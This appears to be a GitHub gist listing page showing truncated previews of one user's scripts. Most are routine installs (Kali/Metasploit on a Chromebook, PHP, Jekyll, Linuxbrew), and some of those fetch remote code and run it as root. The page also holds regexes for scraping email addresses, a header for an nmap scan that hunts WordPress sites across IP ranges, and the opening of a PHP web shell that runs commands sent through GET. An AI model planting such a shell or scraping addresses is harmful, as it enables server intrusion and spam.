Skip to content

Instantly share code, notes, and snippets.

Lerie Taylor Lerie82

Block or report user

Report or block Lerie82

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@Lerie82
Lerie82 / install-metasploit.sh
Last active Jun 17, 2019
install metasploit and kail on chromebook
View install-metasploit.sh
#installing kali (optional)
sudo umount /dev/sdb1
sudo mkfs.ext4 /dev/sdb1
wget https://goo.gl/fd3zc -o crouton
cd ~/Downloads
sudo sh crouton -r kali -t core,cli-extra -p /media/removable/USB\ Drive/
sudo sh /media/removable/USB\ Drive/bin/enter-chroot
#installing metasploit
sudo apt-get -y install \
build-essential zlib1g zlib1g-dev \
@Lerie82
Lerie82 / php7to71
Created Jan 11, 2019
update from php7 to php7.1 and update laravel
View php7to71
#moving from php7.0 to php7.1 for laravel
sudo add-apt-repository ppa:ondrej/php
sudo apt-get update
sudo apt-get -y install php7.1 php7.1-common
sudo apt-get install php7.1-xml php7.1-mbstring
@Lerie82
Lerie82 / rubj.sh
Last active Sep 19, 2018
ruby+jekyll install on ubuntu xenial
View rubj.sh
#!/bin/sh
#https://jekyllrb.com/docs/installation/ubuntu/
sudo apt-get install ruby ruby-dev build-essential
echo '# Install Ruby Gems to ~/gems' >> ~/.bashrc
echo 'export GEM_HOME=$HOME/gems' >> ~/.bashrc
echo 'export PATH=$HOME/gems/bin:$PATH' >> ~/.bashrc
source ~/.bashrc
#bundle install
sudo gem install jekyll bundler
View install-webtools.sh
#curl, curl libraries, lynx
#
git clone https://github.com/jarun/googler.git
apt-get install -y curl libcurl4-openssl-dev libcurl4-gnutls-dev lynx
@Lerie82
Lerie82 / emails
Created Jul 16, 2018
regular expression for email scraping
View emails
(\w+[{]at[}].*[.]com)
[<](\w+.*\w+\sat\s.*[.]\w+)
(([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5}))
@Lerie82
Lerie82 / clean-chromeos.sh
Last active Jul 7, 2018
For a clean/powerwash return (gist collection)
View clean-chromeos.sh
#!/bin/bash
apt-get -y install newsbeuter
touch /home/$USER/.newsbeuter/urls
{
echo "https://hackaday.com/blog/feed/"
echo "https://krebsonsecurity.com/feed/"
echo "http://feeds.foxnews.com/foxnews/latest"
echo "https://www.exploit-db.com/rss.xml"
echo "https://www.0day.today/rss"
@Lerie82
Lerie82 / wordpscan.sh
Created Jul 7, 2018
scan a range of ip's with nmap looking for wordpress sites
View wordpscan.sh
#!/bin/bash
#https://lerie.us/blog
#scan a range of ip's with nmap looking for wordpress sites
#lerie,11:29pm,6/6/18
#fxbg,11:57,6/6/18
#get nmap argument for ip range
if [ "$1" == "" ]; then
echo 'no argument set'
exit
@Lerie82
Lerie82 / shell.php
Created Jun 19, 2018
execute commands on a server through GET
View shell.php
<pre>
<?php
function doCmd($cmd)
{
while(@ob_end_flush());
$proc = popen($cmd." 2>&1 ; echo Exit status : $?", 'r');
$live_output = "";
View install-news.sh
apt-get -y install newsbeuter
touch /home/$USER/.newsbeuter/urls
{
echo "https://hackaday.com/blog/feed/"
echo "https://krebsonsecurity.com/feed/"
echo "http://feeds.foxnews.com/foxnews/latest"
echo "https://www.exploit-db.com/rss.xml"
echo "https://www.0day.today/rss"
echo "https://news.ycombinator.com/rss"
@Lerie82
Lerie82 / linux-brew.sh
Created Jun 14, 2018
install homebrew for ubuntu with linuxbrew
View linux-brew.sh
sh -c "$(curl -fsSL https://raw.githubusercontent.com/Linuxbrew/install/master/install.sh)"
test -d ~/.linuxbrew && PATH="$HOME/.linuxbrew/bin:$HOME/.linuxbrew/sbin:$PATH"
test -d /home/linuxbrew/.linuxbrew && PATH="/home/linuxbrew/.linuxbrew/bin:/home/linuxbrew/.linuxbrew/sbin:$PATH"
test -r ~/.bash_profile && echo "export PATH='$(brew --prefix)/bin:$(brew --prefix)/sbin'":'"$PATH"' >>~/.bash_profile
echo "export PATH='$(brew --prefix)/bin:$(brew --prefix)/sbin'":'"$PATH"' >>~/.profile
You can’t perform that action at this time.